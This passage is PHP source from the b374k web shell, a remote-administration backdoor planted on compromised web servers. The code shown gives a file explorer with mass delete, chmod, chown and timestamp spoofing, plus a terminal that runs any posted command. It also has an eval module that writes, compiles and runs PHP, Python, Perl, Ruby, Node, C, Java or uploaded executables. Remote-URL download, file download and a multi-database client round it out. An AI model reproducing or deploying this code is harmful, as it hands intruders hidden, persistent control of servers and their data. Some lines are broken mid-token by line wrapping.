                                }
                        }
                }

                array_unshift($allfolders, ".");
                $cur = getcwd();
                chdir("..");
                if(getcwd()!=$cur) array_unshift($allfolders, "..");
                chdir($cur);

                natcasesort($allfolders);
                natcasesort($allfiles);

                $cols = array();
                if(is_win()){
                        $cols = array(
                                        "perms"=>"get_fileperms",
                                        "modified"=>"get_filemtime"
                                        );
                }
                else{
                        $cols = array(
                                        "owner"=>"get_fileowner",
```

```php
                                        "perms"=>"get_fileperms",
                                        "modified"=>"get_filemtime"
                                        );
                }

                $totalFiles = count($allfiles);
                $totalFolders = 0;

                $output .= "<table id='xplTable' class='dataView sortable'><thead>";
                $output .= "<tr><th class='col-cbox sorttable_nosort'><div class='cBoxAll'>
</div></th><th class='col-name'>name</th><th class='col-size'>size</th>";

                foreach($cols as $k=>$v){
                        $output .= "<th class='col-".$k."'>".$k."</th>";
                }
                $output .= "</tr></thead><tbody>";

                foreach($allfolders as $d){
                        $cboxException = "";
                        if(($d==".")||($d=="..")){
                                $action = "actiondot";
                                $cboxException = " cBoxException";
                        }
                        else{
                                $action = "actionfolder";
                                $totalFolders++;
                        }
                        $output .= "
        <tr data-path=\"".html_safe(realpath($d).DIRECTORY_SEPARATOR)."\"><td><div class='c
Box".$cboxException."'></div></td>
        <td style='white-space:normal;'><a class='navigate'>[ ".html_safe($d)." ]</a><span
class='".$action." floatRight'>action</span></td>
        <td>DIR</td>";
                        foreach($cols as $k=>$v){
                                $sortable = "";
                                if($k=='modified') $sortable = " title='".filemtime($d)."'"
;
                                $output .= "<td".$sortable.">".$v($d)."</td>";
                        }
                        $output .= "</tr>";
                }
                foreach($allfiles as $f){
                        $output .= "
        <tr data-path=\"".html_safe(realpath($f))."\"><td><div class='cBox'></div></td>
        <td style='white-space:normal;'><a class='view'>".html_safe($f)."</a><span class='a
ction floatRight'>action</span></td>
        <td title='".filesize($f)."'>".get_filesize($f)."</td>";
                        foreach($cols as $k=>$v){
                                $sortable = "";
                                if($k=='modified') $sortable = " title='".filemtime($f)."'"
;
                                $output .= "<td".$sortable.">".$v($f)."</td>";
                        }
                        $output .= "</tr>";
                }
                $output .= "</tbody><tfoot>";

                $colspan = 1 + count($cols);
                $output .= "<tr><td><div class='cBoxAll'></div></td><td>
                <select id='massAction' class='colSpan'>
                <option disabled selected>Action</option>
                <option>cut</option>
                <option>copy</option>
                <option>paste</option>
                <option>delete</option>
                <option disabled>------------</option>
                <option>chmod</option>
                <option>chown</option>
```

```php
                <option>touch</option>
                <option disabled>-----------</option>
                <option>extract (tar)</option>
                <option>extract (tar.gz)</option>
                <option>extract (zip)</option>
                <option disabled>-----------</option>
                <option>compress (tar)</option>
                <option>compress (tar.gz)</option>
                <option>compress (zip)</option>
                <option disabled>-----------</option>
                </select>
                </td><td colspan='".$colspan."'></td></tr>
                <tr><td></td><td colspan='".++$colspan."'>".$totalFiles." file(s), ".$total
Folders." Folder(s)<span class='xplSelected'></span></td></tr>
                ";
                $output .= "</tfoot></table>";
                return $output;
        }
}

if(!function_exists('eval_get_supported')){
        function eval_get_supported(){
                $eval_supported = array();

                $eval_supported[] = "php";

                $check = strtolower(execute("python -h"));
                if(strpos($check,"usage")!==false) $eval_supported[] = "python";

                $check = strtolower(execute("perl -h"));
                if(strpos($check,"usage")!==false) $eval_supported[] = "perl";

                $check = strtolower(execute("ruby -h"));
                if(strpos($check,"usage")!==false) $eval_supported[] = "ruby";

                $check = strtolower(execute("node -h"));
                if(strpos($check,"usage")!==false) $eval_supported[] = "node";
                else{
                        $check = strtolower(execute("nodejs -h"));
                        if(strpos($check,"usage")!==false) $eval_supported[] = "nodejs";
                }

                $check = strtolower(execute("gcc --help"));
                if(strpos($check,"usage")!==false) $eval_supported[] = "gcc";

                $check = strtolower(execute("java -help"));
                if(strpos($check,"usage")!==false){
                        $check = strtolower(execute("javac -help"));
                        if(strpos($check,"usage")!==false) $eval_supported[] = "java";
                }

                return implode(",", $eval_supported);
        }
}

if(!function_exists('eval_go')){
        function eval_go($evalType, $evalCode, $evalOptions, $evalArguments){
                $res = "";
                $output = "";
                if($evalOptions!="") $evalOptions = $evalOptions." ";
                if($evalArguments!="") $evalArguments = " ".$evalArguments;

                if($evalType=="php"){
                        ob_start();
                        eval($evalCode);
                        $res = ob_get_contents();
                        ob_end_clean();
                        return $res;
```

```php
                    }
                    elseif(($evalType=="python")||($evalType=="perl")||($evalType=="ruby")||($e
valType=="node")||($evalType=="nodejs")){
                        $tmpdir = get_writabledir();
                        chdir($tmpdir);

                        $res .= "Using dir : ".$tmpdir;
                        if(is_writable($tmpdir)){
                            $res .= " (writable)\n";
                            $uniq = substr(md5(time()),0,8);
                            $filename = $evalType.$uniq;
                            $path = $filename;
                            $res .= "Temporary file : ".$path;
                            if(write_file($path, $evalCode)){
                                $res .= " (ok)\n";
                                $res .= "Setting permissions : 0755";
                                if(chmod($path, 0755)){
                                    $res .= " (ok)\n";
                                    $cmd = $evalType." ".$evalOptions.$path.$ev
alArguments;

                                    $res .= "Execute : ".$cmd."\n";
                                    $output = execute($cmd);
                                }
                                else $res .= " (failed)\n";

                                $res .= "Deleting temporary file : ".$path;
                                if(unlink($path)) $res .= " (ok)\n";
                                else $res .= " (failed)\n";
                            }
                            else $res .= " (failed)\n";
                        }
                        else $res .= " (not writable)\n";

                        $res .= "Finished...";
                        return $res."{[|b374k|]}".$output;
                    }
                    elseif($evalType=="gcc"){
                        $tmpdir = get_writabledir();
                        chdir($tmpdir);

                        $res .= "Using dir : ".$tmpdir;
                        if(is_writable($tmpdir)){
                            $res .= " (writable)\n";
                            $uniq = substr(md5(time()),0,8);
                            $filename = $evalType.$uniq.".c";
                            $path = $filename;
                            $res .= "Temporary file : ".$path;
                            if(write_file($path, $evalCode)){
                                $res .= " (ok)\n";
                                $ext = (is_win())? ".exe":".out";
                                $pathres = $filename.$ext;
                                $evalOptions = "-o ".$pathres." ".$evalOptions;
                                $cmd = "gcc ".$evalOptions.$path;
                                $res .= "Compiling : ".$cmd;
                                $res .= execute($cmd);
                                if(is_file($pathres)){
                                    $res .= " (ok)\n";
                                    $res .= "Setting permissions : 0755";
                                    if(chmod($pathres, 0755)){
                                        $res .= " (ok)\n";
                                        $cmd = $pathres.$evalArguments;
                                        $res .= "Execute : ".$cmd."\n";
                                        $output = execute($cmd);
                                    }
                                    else $res .= " (failed)\n";
                                    $res .= "Deleting temporary file : ".$pathr
es;

                                    if(unlink($pathres)) $res .= " (ok)\n";
```

```php
                                        else $res .= " (failed)\n";
                                }
                                else $res .= " (failed)\n";
                                $res .= "Deleting temporary file : ".$path;
                                if(unlink($path)) $res .= " (ok)\n";
                                else $res .= " (failed)\n";
                        }
                        else $res .= " (failed)\n";
                }
                else $res .= " (not writable)\n";

                $res .= "Finished...";
                return $res."{[|b374k|]}".$output;
        }
        elseif($evalType=="java"){
                $tmpdir = get_writabledir();
                chdir($tmpdir);

                $res .= "Using dir : ".$tmpdir;
                if(is_writable($tmpdir)){
                        $res .= " (writable)\n";

                        if(preg_match("/class\ ([^{]+){/i",$evalCode, $r)){
                                $classname = trim($r[1]);
                                $filename = $classname;
                        }
                        else{
                                $uniq = substr(md5(time()),0,8);
                                $filename = $evalType.$uniq;
                                $evalCode = "class ".$filename." { ".$evalCode . "
} ";
                        }

                        $path = $filename.".java";
                        $res .= "Temporary file : ".$path;
                        if(write_file($path, $evalCode)){
                                $res .= " (ok)\n";
                                $cmd = "javac ".$evalOptions.$path;
                                $res .= "Compiling : ".$cmd;
                                $res .= execute($cmd);
                                $pathres = $filename.".class";
                                if(is_file($pathres)){
                                        $res .= " (ok)\n";
                                        $res .= "Setting permissions : 0755";
                                        if(chmod($pathres, 0755)){
                                                $res .= " (ok)\n";
                                                $cmd = "java ".$filename.$evalArgum
ents;
                                                $res .= "Execute : ".$cmd."\n";
                                                $output = execute($cmd);
                                        }
                                        else $res .= " (failed)\n";
                                        $res .= "Deleting temporary file : ".$pathr
es;
                                        if(unlink($pathres)) $res .= " (ok)\n";
                                        else $res .= " (failed)\n";
                                }
                                else $res .= " (failed)\n";
                                $res .= "Deleting temporary file : ".$path;
                                if(unlink($path)) $res .= " (ok)\n";
                                else $res .= " (failed)\n";
                        }
                        else $res .= " (failed)\n";
                }
                else $res .= " (not writable)\n";

                $res .= "Finished...";
                return $res."{[|b374k|]}".$output;
```

```php
                    }
                    elseif($evalType=="executable"){
                            $tmpdir = get_writabledir();
                            chdir($tmpdir);

                            $res .= "Using dir : ".$tmpdir;
                            if(is_writable($tmpdir)){
                                    $res .= " (writable)\n";
                                    $uniq = substr(md5(time()),0,8);
                                    $filename = $evalType.$uniq.".exe";
                                    $path = $filename;
                                    $res .= "Temporary file : ".$path;
                                    if(write_file($path, $evalCode)){
                                            $res .= " (ok)\n";
                                            $cmd = $path.$evalArguments;
                                            $res .= "Execute : ".$cmd."\n";
                                            $output = execute($cmd);

                                            $res .= "Deleting temporary file : ".$path;
                                            if(unlink($path)) $res .= " (ok)\n";
                                            else $res .= " (failed)\n";
                                    }
                                    else $res .= " (failed)\n";
                            }
                            else $res .= " (not writable)\n";

                            $res .= "Finished...";
                            return $res."{[|b374k|]}".$output;
                    }
                    return false;
            }
    }

    if(!function_exists('output')){
            function output($str){
                    $error = @ob_get_contents();
                    @ob_end_clean();
                    header("Content-Type: text/plain");
                    header("Cache-Control: no-cache");
                    header("Pragma: no-cache");
                    echo $str;
                    die();
            }
    }
    block_bot();
    auth();
    chdir(get_cwd());
    $nav = get_nav(get_cwd());
    $p = array_map("rawurldecode", get_post());
    $cwd = html_safe(get_cwd());
    $GLOBALS['module'] = array();

    $explorer_content = "";
    if(isset($p['viewEntry'])){
            $path = trim($p['viewEntry']);
            if(is_file($path)){
                    $dirname = realpath(dirname($path)).DIRECTORY_SEPARATOR;
                    setcookie("cwd", $dirname);
                    chdir($dirname);
                    $nav = get_nav($dirname);
                    $cwd = html_safe($dirname);
                    $explorer_content = view_file($path, "auto");
            }
            elseif(is_dir($path)){
                    $path = realpath($path).DIRECTORY_SEPARATOR;
                    setcookie("cwd", $path);
                    chdir($path);
                    $nav = get_nav($path);
```

```php
                $cwd = html_safe($path);
                $explorer_content = show_all_files($path);
        }
}
else $explorer_content = show_all_files(get_cwd());

$GLOBALS['module']['explorer']['id'] = "explorer";
$GLOBALS['module']['explorer']['title'] = "Explorer";
$GLOBALS['module']['explorer']['js_ontabselected'] = "";
$GLOBALS['module']['explorer']['content'] = $explorer_content;

$GLOBALS['module']['terminal']['id'] = "terminal";
$GLOBALS['module']['terminal']['title'] = "Terminal";
$GLOBALS['module']['terminal']['js_ontabselected'] = "
if((!portableMode) && ($('#terminalOutput').html()=='')) $('#terminalInput').focus();";
$GLOBALS['module']['terminal']['content'] = "<pre id='terminalOutput'></pre><table id='term
inalPrompt'><tr><td class='colFit'><span id='terminalCwd' class='strong'>".get_cwd()."&gt;<
/span></td><td id='terminalCommand'><input type='text' id='terminalInput' class='floatLeft'
spellcheck='false'></td></tr></table>";


$GLOBALS['module']['eval']['id'] = "eval";
$GLOBALS['module']['eval']['title'] = "Eval";
$GLOBALS['module']['eval']['js_ontabselected'] = "
if((!portableMode) && ($('#evalOutput').html()=='You can also press ctrl+enter to submit'))
 $('#evalInput').focus();";
$GLOBALS['module']['eval']['content'] = "
<table class='boxtbl'>
<thead>
        <tr><th colspan='4'><p class='boxtitle'>Eval</p></th></tr>
</thead>
<tbody>
        <tr><td colspan='4'><textarea id='evalInput' spellcheck='false' style='height:140px
;min-height:140px;'></textarea></td></tr>

        <tr id='evalAdditional'><td colspan='4'>
                <input type='text' id='evalOptions' value='Options/Switches' spellcheck='fa
lse' onkeydown=\"trap_enter(event, 'eval_go');\">
                <input type='text' id='evalArguments' value='Arguments' spellcheck='false'
onkeydown=\"trap_enter(event, 'eval_go');\">
        </td></tr>

        <tr>
                <td style='width:144px;'>
                        <select id='evalType'>

                        </select>
                </td>
                <td colspan='3'>
                        <span id='evalSubmit' style='width:120px;' class='button' onclick=\
"eval_go();\">run</span>
                </td>
        </tr>

        <tr><td colspan='4'><pre id='evalOutput'>You can also press ctrl+enter to submit</p
re></td></tr>
</tbody>
</table>
";

$res = "";
if(isset($p['cd'])){
        $path = $p['cd'];
        if(trim($path)=='') $path = dirname(__FILE__);

        $path = realpath($path);
        if(is_file($path)) $path = dirname($path);
        if(is_dir($path)){
```

```php
                chdir($path);
                $path = $path.DIRECTORY_SEPARATOR;
                setcookie("cwd", $path);
                $res = $path."{[|b374k|]}".get_nav($path)."{[|b374k|]}";
                if(isset($p['showfiles'])&&($p['showfiles']=='true')){
                        $res .= show_all_files($path);
                }
        }
        else $res = "error";
        output($res);
}
elseif(isset($p['viewFile']) && isset($p['viewType'])){
        $path = trim($p['viewFile']);
        $type = trim($p['viewType']);
        $preserveTimestamp = trim($p['preserveTimestamp']);
        if(is_file($path)){
                $res = view_file($path, $type, $preserveTimestamp);
        }
        else $res = "error";
        output($res);
}
elseif(isset($p['renameFile']) && isset($p['renameFileTo'])){
        $renameFile = trim($p['renameFile']);
        $renameFileTo = trim($p['renameFileTo']);
        if(file_exists($renameFile)){
                if(rename($renameFile, $renameFileTo)){
                        $res = dirname($renameFileTo);
                }
                else $res = "error";
        }
        else $res = "error";
        output($res);
}
elseif(isset($p['newFolder'])){
        $newFolder = trim($p['newFolder']);
        if(mkdir($newFolder)){
                $res = dirname($newFolder);
        }
        else $res = "error";
        output($res);
}
elseif(isset($p['newFile'])){
        $newFile = trim($p['newFile']);
        if(touch($newFile)){
                $res = dirname($newFile);
        }
        else $res = "error";
        output($res);
}
elseif(isset($p['delete'])){
        $path = trim($p['delete']);
        $dirname = dirname($path);
        if(is_file($path)){
                if(unlink($path)) $res = $dirname;
        }
        elseif(is_dir($path)){
                if(rmdirs($path)>0) $res = $dirname;
        }
        else $res = "error";
        if(file_exists($path)) $res = "error";
        output($res);
}
elseif(isset($p['editType'])&&isset($p['editFilename'])&&isset($p['editInput'])&&isset($p['preserveTimestamp'])){
        $editFilename = trim($p['editFilename']);
        $editInput = trim($p['editInput']);
        $editType = trim($p['editType']);
        $preserveTimestamp = trim($p['preserveTimestamp']);
```

```php
        $time = filemtime($editFilename);
        if($editType=='hex') $editInput = pack("H*" , preg_replace("/\s/","", $editInput));
        if(write_file($editFilename, $editInput)){
                $res = $editFilename;
                if($preserveTimestamp=='true') touch($editFilename, $time);
        }
        else $res = "error";
        output($res);
}
elseif(isset($p['findType'])){
        $findType = trim($p['findType']);
        $findPath = trim($p['findPath']);
        $findName = trim($p['findName']);
        $findNameRegex = trim($p['findNameRegex']);
        $findNameInsensitive = trim($p['findNameInsensitive']);
        $findContent = trim($p['findContent']);
        $findContentRegex = trim($p['findContentRegex']);
        $findContentInsensitive = trim($p['findContentInsensitive']);
        $findReadable = trim($p['findReadable']);
        $findWritable = trim($p['findWritable']);
        $findExecutable = trim($p['findExecutable']);

        $candidate = get_all_files($findPath);
        if($findType=='file') $candidate = array_filter($candidate, "is_file");
        elseif($findType=='folder') $candidate = array_filter($candidate, "is_dir");
        else $res = "error";

        foreach($candidate as $k){
                if(($findType=="file")||($findType=="folder")){
                        if(!empty($findName)){
                                if($findNameRegex=="true"){
                                        $case = ($findNameInsensitive=="true")? "i":"";
                                        if(!preg_match("/".$findName."/".$case, basename($k
))){
                                                $candidate = array_diff($candidate, array($
k));
                                        }
                                }
                                else{
                                        $check = false;
                                        if($findNameInsensitive=="true"){
                                                $check = strpos(strtolower(basename($k)), s
trtolower($findName))===false;
                                        }
                                        else{
                                                $check = strpos(basename($k), $findName)===
false;
                                        }

                                        if($check){
                                                $candidate = array_diff($candidate, array($
k));
                                        }
                                }
                        }
                }
                if($findType=="file"){
                        if(!empty($findContent)){
                                $content = read_file($k);
                                if($findContentRegex=="true"){
                                        $case = ($findContentInsensitive=="true")? "i":"";
                                        if(!preg_match("/".$findContent."/".$case, $content
)){
                                                $candidate = array_diff($candidate, array($
k));
                                        }
                                }
                                else{
```

```php
                                        $check = false;
                                        if($findContentInsensitive=="true"){
                                                $check = strpos(strtolower($content), strto
lower($findContent))===false;
                                        }
                                        else{
                                                $check = strpos($content, $findContent)===f
alse;
                                        }
                                        if($check){
                                                $candidate = array_diff($candidate, array($
k));
                                        }
                                }
                        }
                }
        }

        foreach($candidate as $k){
                if($findReadable=="true"){
                        if(!is_readable($k)) $candidate = array_diff($candidate, array($k))
;
                }
                if($findWritable=="true"){
                        if(!is_writable($k)) $candidate = array_diff($candidate, array($k))
;
                }
                if($findExecutable=="true"){
                        if(!is_executable($k)) $candidate = array_diff($candidate, array($k
));
                }
        }

        if(count($candidate)>0){
                $res = "";
                foreach($candidate as $k){
                        $res .= "<p><span class='strong'>&gt;</span> <a data-path='".h
tml_safe($k)."' onclick='view_entry(this);'>".html_safe($k)."</a></p>";
                }
        }
        else $res = "";
        output($res);
}
elseif(isset($p['ulType'])){
        $ulSaveTo = trim($p['ulSaveTo']);
        $ulFilename = trim($p['ulFilename']);

        if($p['ulType']=='comp'){
                $ulFile = $_FILES['ulFile'];
                if(empty($ulFilename)) $ulFilename = $ulFile['name'];

                if(is_uploaded_file($ulFile['tmp_name'])){
                        if(!is_dir($ulSaveTo)) mkdir($ulSaveTo);
                        $newfile = realpath($ulSaveTo).DIRECTORY_SEPARATOR.$ulFilename;
                        if(move_uploaded_file($ulFile['tmp_name'], $newfile)){
                                $res = "<span class='strong'>&gt;</span> <a data-path=
'".html_safe($newfile)."' onclick='view_entry(this);'>".html_safe($newfile)."</a> ( 10
0% )";
                        }
                        else $res = "error";
                }
                else $res = "error";
        }
        elseif($p['ulType']=='url'){
                $ulFile = trim($p['ulFile']);
                if(empty($ulFilename)) $ulFilename = basename($ulFile);
                if(!is_dir($ulSaveTo)) mkdir($ulSaveTo);
                $newfile = realpath($ulSaveTo).DIRECTORY_SEPARATOR.$ulFilename;
```

```php
                if(download($ulFile, $newfile)){
                        $res = "<span class='strong'>&gt;</span> <a data-path='".html_
safe($newfile)."' onclick='view_entry(this);'>".html_safe($newfile)."</a> ( 100% )";
                }
                else $res = "error";
        }
        else $res = "error";
        output($res);
}
elseif(isset($p['download'])){
        $file = trim($p['download']);
        if(is_file($file)){
                header("Content-Type: application/octet-stream");
                header('Content-Transfer-Encoding: binary');
                header("Content-length: ".filesize($file));
                header("Cache-Control: no-cache");
                header("Pragma: no-cache");
                header("Content-disposition: attachment; filename=\"".basename($file)."\";"
);
                $handler = fopen($file,"rb");
                while(!feof($handler)){
                        print(fread($handler, 1024*8));
                        @ob_flush();
                        @flush();
                }
                fclose($handler);
                die();
        }
}
elseif(isset($p['multimedia'])){
        $file = trim($p['multimedia']);
        $mime_list = get_resource('mime');
        $mime = "";
        $file_ext_pos = strrpos($file, ".");
        if($file_ext_pos!==false){
                $file_ext = trim(substr($file, $file_ext_pos),".");
                if(preg_match("/([^\s]+)\ .*\b".$file_ext."\b.*/i", $mime_list, $res)){
                        $mime = $res[1];
                }
        }

        if(is_file($file)){
                header("Content-Type: ".$mime);
                header('Content-Transfer-Encoding: binary');
                header("Content-length: ".filesize($file));
                echo "data:".$mime.";base64,".base64_encode(read_file($file));
                die();
        }
}
elseif(isset($p['massType'])&&isset($p['massBuffer'])&&isset($p['massPath'])&&isset($p['mas
sValue'])){
        $massType = trim($p['massType']);
        $massBuffer = trim($p['massBuffer']);
        $massPath = realpath($p['massPath']).DIRECTORY_SEPARATOR;
        $massValue = trim($p['massValue']);
        $counter = 0;

        $massBufferArr = explode("\n", $massBuffer);
        if(($massType=='tar')||($massType=='targz')||($massType=='zip')){
                if(compress($massType, $massValue, $massBufferArr)){
                        $counter++;
                        return $counter;
                }
        }
        else{
                foreach($massBufferArr as $k){
                        $path = trim($k);
```

```php
                        if(file_exists($path)){
                                $preserveTimestamp = filemtime($path);
                                if($massType=='delete'){
                                        if(is_file($path)){
                                                if(unlink($path)) $counter++;
                                        }
                                        elseif(is_dir($path)){
                                                if(rmdirs($path)>0) $counter++;
                                        }
                                }
                                elseif($massType=='cut'){
                                        $dest = $massPath.basename($path);
                                        if(rename($path, $dest)){
                                                $counter++;
                                                touch($dest, $preserveTimestamp);
                                        }
                                }
                                elseif($massType=='copy'){
                                        $dest = $massPath.basename($path);
                                        if(is_dir($path)){
                                                if(copys($path, $dest)>0) $counter++;
                                        }
                                        elseif(is_file($path)){
                                                if(copy($path, $dest)) $counter++;
                                        }
                                }
                                elseif(($massType=='untar')||($massType=='untargz')||($massType=='unzip')){
                                        if(decompress($massType, $path, $massValue)){
                                                $counter++;
                                                return $counter;
                                        }
                                }
                                elseif(!empty($massValue)){
                                        if($massType=='chmod'){
                                                if(chmod($path, octdec($massValue))) $counter++;
                                        }
                                        elseif($massType=='chown'){
                                                if(chown($path, $massValue)) $counter++;
                                        }
                                        elseif($massType=='touch'){
                                                if(touch($path, strtotime($massValue))) $counter++;
                                        }
                                }
                        }
                }
        }
        if($counter>0) output($counter);
        output('error');
}
elseif(isset($p['viewFileorFolder'])){
        $entry = $p['viewFileorFolder'];
        if(is_file($entry)) output('file');
        elseif(is_dir($entry)) output('folder');
        output('error');
}
elseif(isset($p['terminalInput'])){
        output(html_safe(execute($p['terminalInput'])));
}
elseif(isset($p['evalInput']) && isset($p['evalType'])){
        $evalInput = $p['evalInput'];
        $evalOptions = (isset($p['evalOptions']))? $p['evalOptions']:"";
        $evalArguments = (isset($p['evalArguments']))? $p['evalArguments']:"";
        $evalType = $p['evalType'];

        error_reporting(E_ERROR | E_WARNING | E_PARSE | E_NOTICE);
```

```php
        @ini_set('html_errors','0');
        @ini_set('display_errors','1');
        @ini_set('display_startup_errors','1');

        $res = eval_go($evalType, $evalInput, $evalOptions, $evalArguments);
        if($res===false) $res == "error";
        output(html_safe($res));
}
elseif(isset($p['evalGetSupported'])){
        $res = eval_get_supported();
        output($res);
}
$GLOBALS['module']['convert']['id'] = "convert";
$GLOBALS['module']['convert']['title'] = "Convert";
$GLOBALS['module']['convert']['js_ontabselected'] = "
if((!portableMode) && ($('#decodeResult').children().length==1)) $('#decodeStr').focus();";
$GLOBALS['module']['convert']['content'] = "
<table class='boxtbl'>
<thead>
        <tr><th colspan='2'><p class='boxtitle'>Convert</p></th></tr>
</thead>
<tbody>
        <tr><td colspan='2'><textarea style='height:140px;min-height:140px;' id='decodeStr'
></textarea></td></tr>
        <tr><td colspan='2'><span class='button' onclick='decode_go();'>convert</span></td>
</tr>
</tbody>
<tfoot id='decodeResult'><tr><td colspan='2'>You can also press ctrl+enter to submit</td></
tr></tfoot>
</table>";

if(!function_exists('decode')){
        function decode($str){
                $res = "";
                $length = (int) strlen($str);

                $res .= decode_line("md5", md5($str), "input");
                $res .= decode_line("sha1", sha1($str), "input");

                $res .= decode_line("base64 encode", base64_encode($str), "textarea");
                $res .= decode_line("base64 decode", base64_decode($str), "textarea");


                $res .= decode_line("hex to string", @pack("H*" , $str), "textarea");
                $res .= decode_line("string to hex", bin2hex($str), "textarea");

                $ascii = "";
                for($i=0; $i<$length; $i++){
                        $ascii .= ord(substr($str,$i,1))." ";
                }
                $res .= decode_line("ascii char", trim($ascii), "textarea");

                $res .= decode_line("reversed", strrev($str), "textarea");
                $res .= decode_line("lowercase", strtolower($str), "textarea");
                $res .= decode_line("uppercase", strtoupper($str), "textarea");

                $res .= decode_line("urlencode", urlencode($str), "textarea");
                $res .= decode_line("urldecode", urldecode($str), "textarea");
                $res .= decode_line("rawurlencode", rawurlencode($str), "textarea");
                $res .= decode_line("rawurldecode", rawurldecode($str), "textarea");

                $res .= decode_line("htmlentities", html_safe($str), "textarea");

                if(function_exists('hash_algos')){
                        $algos = hash_algos();
                        foreach($algos as $algo){
                                if(($algo=='md5')||($algo=='sha1')) continue;
                                $res .= decode_line($algo, hash($algo, $str), "input");
```

```php
                    }
            }

            return $res;
        }
}

if(!function_exists('decode_line')){
        function decode_line($type, $result, $inputtype){
                $res = "<tr><td class='colFit'>".$type."</td><td>";
                if($inputtype=='input'){
                        $res .= "<input type='text' value='".html_safe($result)."' ondblcli
ck='this.select();'>";
                }
                else{
                        $res .= "<textarea style='height:80px;min-height:80px;' ondblclick=
'this.select();'>".html_safe($result)."</textarea>";
                }
                return $res;
        }
}

if(isset($p['decodeStr'])){
        $decodeStr = $p['decodeStr'];
        output(decode($decodeStr));
}
$GLOBALS['module']['database']['id'] = "database";
$GLOBALS['module']['database']['title'] = "Database";
$GLOBALS['module']['database']['js_ontabselected'] = "";
$GLOBALS['module']['database']['content'] = "
<table class='boxtbl'>
<thead>
        <tr><th colspan='3'><p class='boxtitle'>Connect</p></th></tr>
</thead>
<tbody>
        <tr class='dbHostRow'><td style='width:144px' class='dbHostLbl'>Host</td><td colspa
n='2'><input type='text' id='dbHost' value='' onkeydown=\"trap_enter(event, 'db_connect');\
"></td></tr>
        <tr class='dbUserRow'><td>Username</td><td colspan='2'><input type='text' id='dbUse
r' value='' onkeydown=\"trap_enter(event, 'db_connect');\"></td></tr>
        <tr class='dbPassRow'><td>Password</td><td colspan='2'><input type='text' id='dbPas
s' value='' onkeydown=\"trap_enter(event, 'db_connect');\"></td></tr>
        <tr class='dbPortRow'><td>Port (Optional)</td><td colspan='2'><input type='text' id
='dbPort' value='' onkeydown=\"trap_enter(event, 'db_connect');\"></td></tr>
</tbody>
<tfoot>
        <tr class='dbConnectRow'>
                <td style='width:144px;'>
                        <select id='dbType'>
                        </select>
                </td>
                <td style='width:120px;'><span class='button' onclick=\"db_connect();\">con
nect</span></td>
                <td class='dbError'></td>
        </tr>
        <tr class='dbQueryRow' style='display:none;'>
                <td colspan='3'><textarea id='dbQuery' style='min-height:140px;height:140px
;'>You can also press ctrl+enter to submit</textarea></td>
        </tr>
        <tr class='dbQueryRow' style='display:none;'>
                <td style='width:120px;'><span class='button' onclick=\"db_run();\">run</sp
an></td>
                <td style='width:120px;'><span class='button' onclick=\"db_disconnect();\">
disconnect</span></td>
                <td>Separate multiple commands with a semicolon <span class='strong'>(</spa
n> ; <span class='strong'>)</span></td>
        </tr>
</tfoot>
```

```
</table>
<div id='dbBottom' style='display:none;'>
<br>
<table class='border' style='padding:0;'><tr><td id='dbNav' class='colFit borderright' styl
e='vertical-align:top;'></td><td id='dbResult' style='vertical-align:top;'></td></tr></tabl
e>
</div>
";

if(!function_exists('sql_connect')){
        function sql_connect($sqltype, $sqlhost, $sqluser, $sqlpass){
                if($sqltype == 'mysql'){
                        if(class_exists('mysqli')) return new mysqli($sqlhost, $sqluser, $s
qlpass);
                        elseif(function_exists('mysql_connect')) return @mysql_connect($sql
host, $sqluser, $sqlpass);
                }
                elseif($sqltype == 'mssql'){
                        if(function_exists('sqlsrv_connect')){
                                $coninfo = array("UID"=>$sqluser, "PWD"=>$sqlpass);
                                return @sqlsrv_connect($sqlhost,$coninfo);
                        }
                        elseif(function_exists('mssql_connect')) return @mssql_connect($sql
host, $sqluser, $sqlpass);
                }
                elseif($sqltype == 'pgsql'){
                        $hosts = explode(":", $sqlhost);
                        if(count($hosts)==2){
                                $host_str = "host=".$hosts[0]." port=".$hosts[1];
                        }
                        else $host_str = "host=".$sqlhost;
                        if(function_exists('pg_connect')) return @pg_connect("$host_str use
r=$sqluser password=$sqlpass");
                }
                elseif($sqltype == 'oracle'){ if(function_exists('oci_connect')) return @oc
i_connect($sqluser, $sqlpass, $sqlhost); }
                elseif($sqltype == 'sqlite3'){
                        if(class_exists('SQLite3')) if(!empty($sqlhost)) return new SQLite3
($sqlhost);
                        else return false;
                }
                elseif($sqltype == 'sqlite'){ if(function_exists('sqlite_open')) return @sq
lite_open($sqlhost); }
                elseif($sqltype == 'odbc'){ if(function_exists('odbc_connect')) return @odb
c_connect($sqlhost, $sqluser, $sqlpass); }
                elseif($sqltype == 'pdo'){
                        if(class_exists('PDO')) if(!empty($sqlhost)) return new PDO($sqlhos
t, $sqluser, $sqlpass);
                        else return false;
                }
                return false;
        }
}

if(!function_exists('sql_query')){
        function sql_query($sqltype, $query, $con){
                if($sqltype == 'mysql'){
                        if(class_exists('mysqli')) return $con->query($query);
                        elseif(function_exists('mysql_query')) return mysql_query($query);
                }
                elseif($sqltype == 'mssql'){
                        if(function_exists('sqlsrv_query')) return sqlsrv_query($con,$query
);
                        elseif(function_exists('mssql_query')) return mssql_query($query);
                }
                elseif($sqltype == 'pgsql') return pg_query($query);
                elseif($sqltype == 'oracle') return oci_execute(oci_parse($con, $query));
                elseif($sqltype == 'sqlite3') return $con->query($query);
```

```php
                elseif($sqltype == 'sqlite') return sqlite_query($con, $query);
                elseif($sqltype == 'odbc') return odbc_exec($con, $query);
                elseif($sqltype == 'pdo') return $con->query($query);
        }
}

if(!function_exists('sql_num_rows')){
        function sql_num_rows($sqltype,$result){
                if($sqltype == 'mysql'){
                        if(class_exists('mysqli_result')) return $result->mysqli_num_rows;
                        elseif(function_exists('mysql_num_rows')) return mysql_num_rows($result);
                }
                elseif($sqltype == 'mssql'){
                        if(function_exists('sqlsrv_num_rows')) return sqlsrv_num_rows($result);
                        elseif(function_exists('mssql_num_rows')) return mssql_num_rows($result);
                }
                elseif($sqltype == 'pgsql') return pg_num_rows($result);
                elseif($sqltype == 'oracle') return oci_num_rows($result);
                elseif($sqltype == 'sqlite3'){
                        $metadata = $result->fetchArray();
                        if(is_array($metadata)) return $metadata['count'];
                }
                elseif($sqltype == 'sqlite') return sqlite_num_rows($result);
                elseif($sqltype == 'odbc') return odbc_num_rows($result);
                elseif($sqltype == 'pdo') return $result->rowCount();
        }
}

if(!function_exists('sql_num_fields')){
        function sql_num_fields($sqltype, $result){
                if($sqltype == 'mysql'){
                        if(class_exists('mysqli_result')) return $result->field_count;
                        elseif(function_exists('mysql_num_fields')) return mysql_num_fields($result);
                }
                elseif($sqltype == 'mssql'){
